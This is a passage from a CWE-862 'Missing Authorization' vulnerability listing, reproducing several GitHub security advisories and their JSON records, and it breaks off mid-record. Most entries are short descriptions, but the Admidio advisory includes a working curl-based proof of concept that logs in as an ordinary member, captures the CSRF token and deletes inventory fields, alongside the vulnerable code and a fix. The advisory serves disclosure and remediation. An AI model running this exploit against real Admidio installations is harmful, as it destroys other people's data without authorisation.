CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
14539 vulnerabilities reference this CWE, most recent first.
GHSA-XW3C-VH4P-M7J2
Vulnerability from github – Published: 2026-06-12 21:31 – Updated: 2026-06-12 21:31The Naxclow platform exposes a registration endpoint that accepts signed requests containing a batch prefix and an arbitrary caller-supplied account identifier, without validating any ownership relationship. Each call mints a new sequential device identifier and returns the current high-water counter value for the batch, allowing callers to measure and enumerate the active device space. The endpoint’s behavior enables precise fleet enumeration.
{
"affected": [],
"aliases": [
"CVE-2026-50244"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-12T19:16:29Z",
"severity": "MODERATE"
},
"details": "The Naxclow platform exposes a registration endpoint that accepts signed requests containing a batch prefix and an arbitrary caller-supplied account identifier, without validating any ownership relationship. Each call mints a new sequential device identifier and returns the current high-water counter value for the batch, allowing callers to measure and enumerate the active device space. The endpoint\u2019s behavior enables precise fleet enumeration.",
"id": "GHSA-xw3c-vh4p-m7j2",
"modified": "2026-06-12T21:31:45Z",
"published": "2026-06-12T21:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50244"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-162-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-162-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XW54-C3MX-9PM3
Vulnerability from github – Published: 2026-05-29 22:09 – Updated: 2026-05-29 22:09Summary
Commit d37ca6b27b9674238e58491cf7ba292e66898f15 ("Delete item not check admin rights #2024", 2026-04-12) added a missing isAdministratorInventory() gate to case 'item_delete': in modules/inventory.php. The same fix was not applied to the sibling case 'field_delete': handler, which destroys an entire inventory field definition, cascading to every adm_inventory_item_data row that referenced that field and every adm_inventory_field_options entry. The handler validates only a session-bound CSRF token; there is no isAdministratorInventory() check at the controller level, and Admidio\Inventory\Entity\ItemField::delete() does not enforce one at the entity level either (unlike its sibling ItemField::save(), which does check $gCurrentUser->isAdministrator()). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.
Details
Vulnerable Code
modules/inventory.php mode dispatch at the top of the file:
// modules/inventory.php:64-72 (top-level rights gate)
if ($gSettingsManager->getInt('inventory_module_enabled') === 0) {
throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('inventory_module_enabled') === 2 && !$gValidLogin
|| ($gSettingsManager->getInt('inventory_module_enabled') === 3 && !$gCurrentUser->isAdministratorInventory())
|| ($gSettingsManager->getInt('inventory_module_enabled') === 4 && !InventoryPresenter::isCurrentUserKeeper() && !$gCurrentUser->isAdministratorInventory())
|| ($gSettingsManager->getInt('inventory_module_enabled') === 5 && !$gCurrentUser->isAllowedToSeeInventory() && !$gCurrentUser->isAdministratorInventory())) {
throw new Exception('SYS_NO_RIGHTS');
}
inventory_module_enabled=2 is the default value (install/db_scripts/preferences.php: 'inventory_module_enabled' => '2',). At this setting the only gate is $gValidLogin — any logged-in user reaches the switch.
modules/inventory.php:123-131 — field_delete only checks the session CSRF, not admin rights:
case 'field_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$itemFieldService = new ItemFieldService($gDb, $getinfUUID);
$itemFieldService->delete();
echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));
break;
SecurityUtils::validateCsrfToken (src/Infrastructure/Utils/SecurityUtils.php) is a session-token compare:
public static function validateCsrfToken(string $csrfToken)
{
global $gCurrentSession;
if ($csrfToken !== $gCurrentSession->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
}
The token is the session's CSRF token, which the actor's own session prints on every page (it appears in ?mode=field_list's response in the data-csrf JSON callback). So a non-admin attacker has it for free.
src/Inventory/Service/ItemFieldService.php:46-49 — the service just delegates:
public function delete(): bool
{
return $this->itemFieldRessource->delete();
}
src/Inventory/Entity/ItemField.php:54-88 — the entity's delete() blocks system fields via inf_system==1 but otherwise has no isAdministrator() check:
public function delete(): bool
{
global $gCurrentOrgId;
if ($this->getValue('inf_system') == 1) {
// System fields could not be deleted
throw new Exception('Item fields with the flag "system" could not be deleted.');
}
$this->db->startTransaction();
// close gap in sequence
$sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . ' SET inf_sequence = inf_sequence - 1 ...';
$this->db->queryPrepared($sql, ...);
// delete all data of this field in the item data table
$sql = 'DELETE FROM ' . TBL_INVENTORY_ITEM_DATA . ' WHERE ind_inf_id = ? -- $infId';
$this->db->queryPrepared($sql, array($infId));
// delete all data of this field in the field select options table
$sql = 'DELETE FROM ' . TBL_INVENTORY_FIELD_OPTIONS . ' WHERE ifo_inf_id = ? -- $infId';
$this->db->queryPrepared($sql, array($infId));
$return = parent::delete(); // DELETE FROM adm_inventory_fields WHERE inf_id = ?
$this->db->endTransaction();
return $return;
}
Compare with ItemField::save() at line 230, which does enforce admin:
public function save(bool $updateFingerPrint = true): bool
{
global $gCurrentUser, $gCurrentOrgId;
// only administrators can edit item fields
if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {
throw new Exception('Item field could not be saved because only administrators are allowed to edit item fields.');
}
...
}
The asymmetry is the bug: save is gated, delete is not.
Sibling Handlers with the Same Shape
Six other state-changing modes in the same file have the same "CSRF only, no isAdministratorInventory() check" structure. They are not the subject of this advisory but should be patched together when fixing the root cause:
| line | mode | effect |
|---|---|---|
| 123 | field_delete |
this advisory |
| 154 | delete_option_entry |
removes a single option from a dropdown / radio field |
| 171 | sequence |
reorders fields |
| 347 | item_retire |
hides items from the active inventory |
| 364 | item_reinstate |
un-hides items |
| 462 | item_picture_delete |
deletes an item picture |
Each of these is reachable by any logged-in user under the default inventory_module_enabled=2.
PoC
Tested live on HEAD c5cde53 with PHP 8.4, MariaDB 11.8 backing on 127.0.0.1:3399, Admidio served via php -S 127.0.0.1:8085. inventory_module_enabled=2 (default install).
A non-administrator user lowuser was created via the admin UI and given only the default Member role. The user has no isAdministratorInventory() right and is not configured as a keeper. A non-system test field TESTFIELD (uuid cccccccc-2222-3333-4444-deadbeefcafe) was created via SQL, with inf_system=0.
# starting state: lowuser is a regular Member; TESTFIELD exists
$ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';"
inf_id inf_uuid inf_name_intern inf_system
8 cccccccc-2222-3333-4444-deadbeefcafe TESTFIELD 0
# 1. login as lowuser
$ curl -sb $cookie -L "http://127.0.0.1:8085/" -o /tmp/init.html
$ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/init.html | head -1 | sed 's/.*value="//')
$ curl -sb $cookie \
--data-urlencode "adm_csrf_token=$csrf" \
--data-urlencode "plg_usr_login_name=lowuser" \
--data-urlencode "plg_usr_password=Lowpwd123!" \
"http://127.0.0.1:8085/system/login.php?mode=check"
{"status":"success","url":"http://127.0.0.1:8085/modules/overview.php"}
# 2. lowuser visits inventory's field_list page (this works under default
# inventory_module_enabled=2 because $gValidLogin is true)
# The response contains the session CSRF token in a data callback
$ inv_csrf=$(curl -sb $cookie "http://127.0.0.1:8085/modules/inventory.php?mode=field_list" \
| grep -oE '"adm_csrf_token":\s*"[^"]+"' | head -1 \
| sed 's/.*"adm_csrf_token":\s*"//;s/"$//')
# 3. lowuser sends field_delete targeting TESTFIELD
$ curl -sb $cookie -X POST \
--data-urlencode "adm_csrf_token=$inv_csrf" \
"http://127.0.0.1:8085/modules/inventory.php?mode=field_delete&uuid=cccccccc-2222-3333-4444-deadbeefcafe"
{"status":"success","message":"Item field successfully deleted"}
# 4. verify
$ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';"
(no rows)
The field is gone. Admidio\Inventory\Entity\ItemField::delete() ran the four statements (sequence-gap update, DELETE FROM adm_inventory_item_data, DELETE FROM adm_inventory_field_options, DELETE FROM adm_inventory_fields) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field's creator.
Impact
A non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:
- Every per-item value stored against that field across the whole organisation is wiped (
DELETE FROM adm_inventory_item_data WHERE ind_inf_id = <field>). - For dropdown / radio / multiselect fields, every option entry is wiped (
DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = <field>). - The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.
- There is no in-product undo. Recovery requires restoring from backup.
In practice, a single attacker with one rogue regular-member account can iterate field_list to enumerate non-system fields and delete all of them in a few requests. The inventory module's stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.
PR:L because any logged-in member is enough; S:U because the impact stays inside Admidio's own data; C:N because the operation does not leak data; I:H because the field row plus all referencing rows are destroyed; A:H because the inventory module's user-defined schema is lost.
The bug is a classic incomplete fix: commit d37ca6b patched the literal endpoint named in issue #2024 (item_delete) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit 12639a4 ("CSRF and Form Validation Bypass in Inventory Item Save via 'imported' Parameter") on item_save, again only on the literal reported endpoint.
Recommended Fix
Add an explicit isAdministratorInventory() check at the top of case 'field_delete': (and the sibling state-changing handlers listed above), matching the pattern that was applied to item_delete in d37ca6b:
// modules/inventory.php
case 'field_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
// check if user has admin rights for inventory <-- new
if (!$gCurrentUser->isAdministratorInventory()) {
throw new Exception('SYS_NO_RIGHTS');
}
$itemFieldService = new ItemFieldService($gDb, $getinfUUID);
$itemFieldService->delete();
echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));
break;
Apply the same patch to delete_option_entry (line 154), sequence (line 171), item_retire (line 347), item_reinstate (line 364), and item_picture_delete (line 462).
For defense in depth, mirror the entity-level gate from ItemField::save() into ItemField::delete() at src/Inventory/Entity/ItemField.php:54:
public function delete(): bool
{
global $gCurrentUser, $gCurrentOrgId;
if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {
throw new Exception('Item field could not be deleted because only administrators are allowed to delete item fields.');
}
if ($this->getValue('inf_system') == 1) {
throw new Exception('Item fields with the flag "system" could not be deleted.');
}
...
}
A regression test should log in as a non-administrator member, GET inventory.php?mode=field_list, post mode=field_delete with the captured session CSRF token, and assert the response is SYS_NO_RIGHTS rather than success.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.9"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47233"
],
"database_specific": {
"cwe_ids": [
"CWE-1281",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T22:09:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nCommit `d37ca6b27b9674238e58491cf7ba292e66898f15` (\"Delete item not check admin rights #2024\", 2026-04-12) added a missing `isAdministratorInventory()` gate to `case \u0027item_delete\u0027:` in `modules/inventory.php`. The same fix was not applied to the sibling `case \u0027field_delete\u0027:` handler, which destroys an entire inventory field definition, cascading to every `adm_inventory_item_data` row that referenced that field and every `adm_inventory_field_options` entry. The handler validates only a session-bound CSRF token; there is no `isAdministratorInventory()` check at the controller level, and `Admidio\\Inventory\\Entity\\ItemField::delete()` does not enforce one at the entity level either (unlike its sibling `ItemField::save()`, which does check `$gCurrentUser-\u003eisAdministrator()`). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.\n\n## Details\n\n### Vulnerable Code\n\n`modules/inventory.php` mode dispatch at the top of the file:\n\n```php\n// modules/inventory.php:64-72 (top-level rights gate)\nif ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 0) {\n throw new Exception(\u0027SYS_MODULE_DISABLED\u0027);\n} elseif ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 2 \u0026\u0026 !$gValidLogin\n || ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 3 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())\n || ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 4 \u0026\u0026 !InventoryPresenter::isCurrentUserKeeper() \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())\n || ($gSettingsManager-\u003egetInt(\u0027inventory_module_enabled\u0027) === 5 \u0026\u0026 !$gCurrentUser-\u003eisAllowedToSeeInventory() \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n```\n\n`inventory_module_enabled=2` is the default value (`install/db_scripts/preferences.php`: `\u0027inventory_module_enabled\u0027 =\u003e \u00272\u0027,`). At this setting the only gate is `$gValidLogin` \u2014 any logged-in user reaches the switch.\n\n`modules/inventory.php:123-131` \u2014 `field_delete` only checks the session CSRF, not admin rights:\n\n```php\ncase \u0027field_delete\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n $itemFieldService-\u003edelete();\n\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027message\u0027 =\u003e $gL10n-\u003eget(\u0027SYS_INVENTORY_ITEMFIELD_DELETED\u0027)));\n break;\n```\n\n`SecurityUtils::validateCsrfToken` (`src/Infrastructure/Utils/SecurityUtils.php`) is a session-token compare:\n\n```php\npublic static function validateCsrfToken(string $csrfToken)\n{\n global $gCurrentSession;\n if ($csrfToken !== $gCurrentSession-\u003egetCsrfToken()) {\n throw new Exception(\u0027Invalid or missing CSRF token!\u0027);\n }\n}\n```\n\nThe token is the session\u0027s CSRF token, which the actor\u0027s own session prints on every page (it appears in `?mode=field_list`\u0027s response in the `data-csrf` JSON callback). So a non-admin attacker has it for free.\n\n`src/Inventory/Service/ItemFieldService.php:46-49` \u2014 the service just delegates:\n\n```php\npublic function delete(): bool\n{\n return $this-\u003eitemFieldRessource-\u003edelete();\n}\n```\n\n`src/Inventory/Entity/ItemField.php:54-88` \u2014 the entity\u0027s `delete()` blocks system fields via `inf_system==1` but otherwise has **no `isAdministrator()` check**:\n\n```php\npublic function delete(): bool\n{\n global $gCurrentOrgId;\n\n if ($this-\u003egetValue(\u0027inf_system\u0027) == 1) {\n // System fields could not be deleted\n throw new Exception(\u0027Item fields with the flag \"system\" could not be deleted.\u0027);\n }\n\n $this-\u003edb-\u003estartTransaction();\n\n // close gap in sequence\n $sql = \u0027UPDATE \u0027 . TBL_INVENTORY_FIELDS . \u0027 SET inf_sequence = inf_sequence - 1 ...\u0027;\n $this-\u003edb-\u003equeryPrepared($sql, ...);\n\n // delete all data of this field in the item data table\n $sql = \u0027DELETE FROM \u0027 . TBL_INVENTORY_ITEM_DATA . \u0027 WHERE ind_inf_id = ? -- $infId\u0027;\n $this-\u003edb-\u003equeryPrepared($sql, array($infId));\n\n // delete all data of this field in the field select options table\n $sql = \u0027DELETE FROM \u0027 . TBL_INVENTORY_FIELD_OPTIONS . \u0027 WHERE ifo_inf_id = ? -- $infId\u0027;\n $this-\u003edb-\u003equeryPrepared($sql, array($infId));\n\n $return = parent::delete(); // DELETE FROM adm_inventory_fields WHERE inf_id = ?\n\n $this-\u003edb-\u003eendTransaction();\n return $return;\n}\n```\n\nCompare with `ItemField::save()` at line 230, which *does* enforce admin:\n\n```php\npublic function save(bool $updateFingerPrint = true): bool\n{\n global $gCurrentUser, $gCurrentOrgId;\n\n // only administrators can edit item fields\n if (!$gCurrentUser-\u003eisAdministrator() \u0026\u0026 !$this-\u003esaveChangesWithoutRights) {\n throw new Exception(\u0027Item field could not be saved because only administrators are allowed to edit item fields.\u0027);\n }\n ...\n}\n```\n\nThe asymmetry is the bug: save is gated, delete is not.\n\n### Sibling Handlers with the Same Shape\n\nSix other state-changing modes in the same file have the same \"CSRF only, no `isAdministratorInventory()` check\" structure. They are not the subject of *this* advisory but should be patched together when fixing the root cause:\n\n| line | mode | effect |\n|---:|---|---|\n| 123 | `field_delete` | this advisory |\n| 154 | `delete_option_entry` | removes a single option from a dropdown / radio field |\n| 171 | `sequence` | reorders fields |\n| 347 | `item_retire` | hides items from the active inventory |\n| 364 | `item_reinstate` | un-hides items |\n| 462 | `item_picture_delete` | deletes an item picture |\n\nEach of these is reachable by any logged-in user under the default `inventory_module_enabled=2`.\n\n## PoC\n\nTested live on HEAD `c5cde53` with PHP 8.4, MariaDB 11.8 backing on `127.0.0.1:3399`, Admidio served via `php -S 127.0.0.1:8085`. `inventory_module_enabled=2` (default install).\n\nA non-administrator user `lowuser` was created via the admin UI and given only the default `Member` role. The user has no `isAdministratorInventory()` right and is not configured as a keeper. A non-system test field `TESTFIELD` (uuid `cccccccc-2222-3333-4444-deadbeefcafe`) was created via SQL, with `inf_system=0`.\n\n```\n# starting state: lowuser is a regular Member; TESTFIELD exists\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern=\u0027TESTFIELD\u0027;\"\ninf_id inf_uuid inf_name_intern inf_system\n8 cccccccc-2222-3333-4444-deadbeefcafe TESTFIELD 0\n\n# 1. login as lowuser\n$ curl -sb $cookie -L \"http://127.0.0.1:8085/\" -o /tmp/init.html\n$ csrf=$(grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 /tmp/init.html | head -1 | sed \u0027s/.*value=\"//\u0027)\n$ curl -sb $cookie \\\n --data-urlencode \"adm_csrf_token=$csrf\" \\\n --data-urlencode \"plg_usr_login_name=lowuser\" \\\n --data-urlencode \"plg_usr_password=Lowpwd123!\" \\\n \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"http://127.0.0.1:8085/modules/overview.php\"}\n\n# 2. lowuser visits inventory\u0027s field_list page (this works under default\n# inventory_module_enabled=2 because $gValidLogin is true)\n# The response contains the session CSRF token in a data callback\n$ inv_csrf=$(curl -sb $cookie \"http://127.0.0.1:8085/modules/inventory.php?mode=field_list\" \\\n | grep -oE \u0027\"adm_csrf_token\":\\s*\"[^\"]+\"\u0027 | head -1 \\\n | sed \u0027s/.*\"adm_csrf_token\":\\s*\"//;s/\"$//\u0027)\n\n# 3. lowuser sends field_delete targeting TESTFIELD\n$ curl -sb $cookie -X POST \\\n --data-urlencode \"adm_csrf_token=$inv_csrf\" \\\n \"http://127.0.0.1:8085/modules/inventory.php?mode=field_delete\u0026uuid=cccccccc-2222-3333-4444-deadbeefcafe\"\n{\"status\":\"success\",\"message\":\"Item field successfully deleted\"}\n\n# 4. verify\n$ mariadb -uroot -D admidio -e \"SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern=\u0027TESTFIELD\u0027;\"\n(no rows)\n```\n\nThe field is gone. `Admidio\\Inventory\\Entity\\ItemField::delete()` ran the four statements (sequence-gap update, `DELETE FROM adm_inventory_item_data`, `DELETE FROM adm_inventory_field_options`, `DELETE FROM adm_inventory_fields`) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field\u0027s creator.\n\n## Impact\n\nA non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:\n\n* Every per-item value stored against that field across the whole organisation is wiped (`DELETE FROM adm_inventory_item_data WHERE ind_inf_id = \u003cfield\u003e`).\n* For dropdown / radio / multiselect fields, every option entry is wiped (`DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = \u003cfield\u003e`).\n* The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.\n* There is no in-product undo. Recovery requires restoring from backup.\n\nIn practice, a single attacker with one rogue regular-member account can iterate `field_list` to enumerate non-system fields and delete all of them in a few requests. The inventory module\u0027s stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.\n\n`PR:L` because any logged-in member is enough; `S:U` because the impact stays inside Admidio\u0027s own data; `C:N` because the operation does not leak data; `I:H` because the field row plus all referencing rows are destroyed; `A:H` because the inventory module\u0027s user-defined schema is lost.\n\nThe bug is a classic **incomplete fix**: commit `d37ca6b` patched the literal endpoint named in issue #2024 (`item_delete`) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit `12639a4` (\"CSRF and Form Validation Bypass in Inventory Item Save via \u0027imported\u0027 Parameter\") on `item_save`, again only on the literal reported endpoint.\n\n## Recommended Fix\n\nAdd an explicit `isAdministratorInventory()` check at the top of `case \u0027field_delete\u0027:` (and the sibling state-changing handlers listed above), matching the pattern that was applied to `item_delete` in `d37ca6b`:\n\n```php\n// modules/inventory.php\ncase \u0027field_delete\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n // check if user has admin rights for inventory \u003c-- new\n if (!$gCurrentUser-\u003eisAdministratorInventory()) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n\n $itemFieldService = new ItemFieldService($gDb, $getinfUUID);\n $itemFieldService-\u003edelete();\n\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027, \u0027message\u0027 =\u003e $gL10n-\u003eget(\u0027SYS_INVENTORY_ITEMFIELD_DELETED\u0027)));\n break;\n```\n\nApply the same patch to `delete_option_entry` (line 154), `sequence` (line 171), `item_retire` (line 347), `item_reinstate` (line 364), and `item_picture_delete` (line 462).\n\nFor defense in depth, mirror the entity-level gate from `ItemField::save()` into `ItemField::delete()` at `src/Inventory/Entity/ItemField.php:54`:\n\n```php\npublic function delete(): bool\n{\n global $gCurrentUser, $gCurrentOrgId;\n\n if (!$gCurrentUser-\u003eisAdministrator() \u0026\u0026 !$this-\u003esaveChangesWithoutRights) {\n throw new Exception(\u0027Item field could not be deleted because only administrators are allowed to delete item fields.\u0027);\n }\n\n if ($this-\u003egetValue(\u0027inf_system\u0027) == 1) {\n throw new Exception(\u0027Item fields with the flag \"system\" could not be deleted.\u0027);\n }\n ...\n}\n```\n\nA regression test should log in as a non-administrator member, GET `inventory.php?mode=field_list`, post `mode=field_delete` with the captured session CSRF token, and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
"id": "GHSA-xw54-c3mx-9pm3",
"modified": "2026-05-29T22:09:38Z",
"published": "2026-05-29T22:09:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-xw54-c3mx-9pm3"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` \u2014 incomplete fix of #2024"
}
GHSA-XW5J-5P2Q-FR86
Vulnerability from github – Published: 2026-07-01 12:31 – Updated: 2026-07-01 12:31Missing Authorization vulnerability in WofficeIO Woffice allows Exploiting Incorrectly Configured Access Control Security Levels.
This issue affects Woffice: from n/a before 5.4.33.
{
"affected": [],
"aliases": [
"CVE-2026-27435"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T10:16:28Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WofficeIO Woffice allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects Woffice: from n/a before 5.4.33.",
"id": "GHSA-xw5j-5p2q-fr86",
"modified": "2026-07-01T12:31:34Z",
"published": "2026-07-01T12:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27435"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/woffice/vulnerability/wordpress-woffice-theme-5-4-31-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XW99-FQPG-V257
Vulnerability from github – Published: 2024-06-12 09:30 – Updated: 2024-06-12 09:30Missing Authorization vulnerability in Awesome Support Team Awesome Support.This issue affects Awesome Support: from n/a through 6.1.5.
{
"affected": [],
"aliases": [
"CVE-2023-51537"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-12T09:15:12Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Awesome Support Team Awesome Support.This issue affects Awesome Support: from n/a through 6.1.5.",
"id": "GHSA-xw99-fqpg-v257",
"modified": "2024-06-12T09:30:48Z",
"published": "2024-06-12T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51537"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/awesome-support/wordpress-awesome-support-plugin-6-1-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XW9F-44RX-4F36
Vulnerability from github – Published: 2026-01-28 06:30 – Updated: 2026-01-28 06:30The Easy Replace Image plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.5.2. This is due to missing capability checks on the image_replacement_from_url function that is hooked to the eri_from_url AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to replace arbitrary image attachments on the site with images from external URLs, potentially enabling site defacement, phishing attacks, or content manipulation.
{
"affected": [],
"aliases": [
"CVE-2026-1298"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T06:15:49Z",
"severity": "MODERATE"
},
"details": "The Easy Replace Image plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.5.2. This is due to missing capability checks on the `image_replacement_from_url` function that is hooked to the `eri_from_url` AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to replace arbitrary image attachments on the site with images from external URLs, potentially enabling site defacement, phishing attacks, or content manipulation.",
"id": "GHSA-xw9f-44rx-4f36",
"modified": "2026-01-28T06:30:31Z",
"published": "2026-01-28T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1298"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/easy-replace-image/tags/3.5.2/easy-replace-image.php#L961"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/easy-replace-image/trunk/easy-replace-image.php#L961"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3447984%40easy-replace-image\u0026new=3447984%40easy-replace-image\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/27332c13-c25f-47ec-980d-035fc35ce553?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XWCF-MPRH-WPVW
Vulnerability from github – Published: 2023-06-09 06:30 – Updated: 2024-04-04 04:41The Essential Blocks plugin for WordPress is vulnerable to unauthorized use of functionality due to a missing capability check on the template_count function in versions up to, and including, 4.0.6. This makes it possible for subscriber-level attackers to obtain plugin template information. While a nonce check is present, it is only executed when a nonce is provided. Not providing a nonce results in the nonce verification to be skipped. There is no capability check.
{
"affected": [],
"aliases": [
"CVE-2023-2086"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-09T06:16:03Z",
"severity": "MODERATE"
},
"details": "The Essential Blocks plugin for WordPress is vulnerable to unauthorized use of functionality due to a missing capability check on the template_count function in versions up to, and including, 4.0.6. This makes it possible for subscriber-level attackers to obtain plugin template information. While a nonce check is present, it is only executed when a nonce is provided. Not providing a nonce results in the nonce verification to be skipped. There is no capability check.",
"id": "GHSA-xwcf-mprh-wpvw",
"modified": "2024-04-04T04:41:49Z",
"published": "2023-06-09T06:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2086"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/4.0.6/includes/Admin/Admin.php"
},
{
"type": "WEB",
